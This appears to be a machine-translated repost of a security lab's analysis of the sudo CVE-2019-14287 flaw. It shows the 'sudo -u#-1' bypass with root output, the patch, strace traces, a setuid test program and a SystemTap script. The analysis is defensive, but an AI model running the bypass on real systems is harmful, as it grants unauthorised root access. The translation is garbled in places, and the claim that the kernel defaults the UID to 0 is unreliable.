CVE-2019-14287 (Linux sudo vulnerability) analysis

Posted by shmick25 on Tue, 22 Oct 2019 09:49:46 +0200

Author: lu4nx @ know Chuangyu 404 active defense laboratory

Author blog: CVE-2019-14287 (Linux sudo vulnerability) analysis

Original link:https://paper.seebug.org/1057/

 

Recently sudo was exposed a vulnerability, unauthorized privileged users can bypass the restrictions to obtain privileges. For the official repair notice, please refer to: https://www.sudo.ws/alerts/minus_1_uid.html.

1. Loophole recurrence

Experimental environment:

operating system CentOS Linux release 7.5.1804
kernel 3.10.0-862.14.4.el7.x86_64
sudo version 1.8.19p2

First, add a system account test sudo as the experiment:

[root@localhost ~] # useradd test_sudo

Then add as root in / etc/sudoers:

test_sudo ALL=(ALL,!root) /usr/bin/id

Indicates that the test sudo account is allowed to execute / usr/bin/id as a non root account. If an attempt is made to run the id command as a root account, it will be rejected:

[test_sudo@localhost ~] $ sudo id
Sorry, user test UU sudo does not have permission to execute / bin/id on localhost.localdomain as root.

Sudo-u can also replace the user by specifying a UID. When the specified UID is - 1 or 4294967295 (- 1's complement, in fact, is handled as an unsigned integer internally), it can trigger a vulnerability, bypass the above restrictions and execute commands as root:

[test_sudo@localhost ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) group=1004(test_sudo) Environmental Science=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test_sudo@localhost ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) group=1004(test_sudo) Environmental Science=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2. Analysis of vulnerability principle

Find the submitted repair code in the official code warehouse: https://www.sudo.ws/repos/sudo/rev/83db8dba09e7.

From the submitted code, only lib/util/strtoid.c has been modified. The sudo? Strtoid? V1 function defined in strtoid.c is responsible for parsing the UID string specified in the parameter. The key code of the patch is:

/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {
  if (errstr != NULL)
    *errstr = N_("invalid value");
  errno = EINVAL;
  goto done;
 }

Llval variable is the parsed value, and llval of - 1 and UINT_MAX (4294967295) are not allowed.

In other words, the patch only limits the value. From the perspective of vulnerability behavior, if it is - 1, the final UID is 0. Why can't it be - 1? What happens when the UID is - 1? Let's move on to an in-depth analysis.

Let's trace the following system calls with strace:

[root@localhost ~]# strace -u test_sudo sudo -u#-1 id

Because the strace-u parameter needs root identity to be used, the above command needs to switch to the root account first, and then execute the sudo-u-1 ID command with test sudo identity. From the output system call, note:

setresuid(-1, -1, -1)                   = 0

sudo calls setresuid internally to enhance permissions (although other functions such as setting groups are also called, no analysis will be done first), and the parameters passed in are all - 1.

Therefore, we do a simple experiment to call setresuid(-1, -1, -1), and see why it will be root after execution. The code is as follows:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
  setresuid(-1, -1, -1);
  setuid(0);
  printf("EUID: %d, UID: %d\n", geteuid(), getuid());
  return 0;
}

Note that you need to change the user of the compiled binary file to root, and add the s-bit. When the s-bit is set, other accounts will run as the account of the file.

For convenience, I compile directly under the root account, and add the s bit:

[root@localhost tmp] # gcc test.c
[root@localhost tmp] # chmod +s a.out

Then execute a.out with the test sudo account:

[test_sudo@localhost tmp] $ ./a.out
EUID: 0, UID: 0

It can be seen that after running, the current identity becomes root.

In fact, setresuid function is just a simple encapsulation of system call setresuid32. You can see its implementation in GLibc's source code:

// File: sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
  int result;

  result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);

  return result;
}

setresuid32 finally calls the kernel function sys_setresuid, which is implemented as follows:

// File: kernel/sys.c

SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
  ...

  struct cred *new;

  ...

  kruid = make_kuid(ns, ruid);
  keuid = make_kuid(ns, euid);
  ksuid = make_kuid(ns, suid);

  new = prepare_creds();
  old = current_cred();

  ...

  if (ruid != (uid_t) -1) {
    new->uid = kruid;
    if (!uid_eq(kruid, old->uid)) {
      retval = set_user(new);
      if (retval < 0)
        goto error;
    }
  }
  if (euid != (uid_t) -1)
    new->euid = keuid;
  if (suid != (uid_t) -1)
    new->suid = ksuid;
  new->fsuid = new->euid;

  ...

  return commit_creds(new);

 error:
  abort_creds(new);
  return retval;
}

In short, when the kernel processes, it will call the prepare ﹣ creds function to create a new credential structure. The three parameters ruid, euid and suid passed to the function will only be assigned to the new credential when they are not - 1 (see the above three if logic). Otherwise, the default UID is 0. Finally, the commit_creds is invoked to enable the certificate to take effect. That's why - 1 is passed with root privileges.

We can also write a SystemTap script to observe the status of calling setresuid from the application layer and passing - 1 to the kernel:

# Capture the system call of setresuid
probe syscall.setresuid {
  printf("exec %s, args: %s\n", execname(), argstr)
}

# Capture the parameters received by the kernel function sys ﹣ setresuid
probe kernel.function("sys_setresuid").call {
  printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));
}

# Capture the return value of the kernel function prepare Gru creds
probe kernel.function("prepare_creds").return {
  # See struct cred structure in linux/cred.h for specific data structure
  printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)
}

Then execute:

[root@localhost tmp] # stap test.stp

Then run the a.out we compiled earlier, and see what stap captures:

exec a.out, args: -1, -1, -1 # Here are the three parameters passed to setresuid
(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # Here are three parameters for the final call to sys ﹣ setresuid
(prepare_cred), uid: 1000; euid: 0 # Sys ﹣ setresuid called prepare ﹣ cred, and you can see that the default EUID is 0.

Topics: Operation & Maintenance sudo Linux CentOS glibc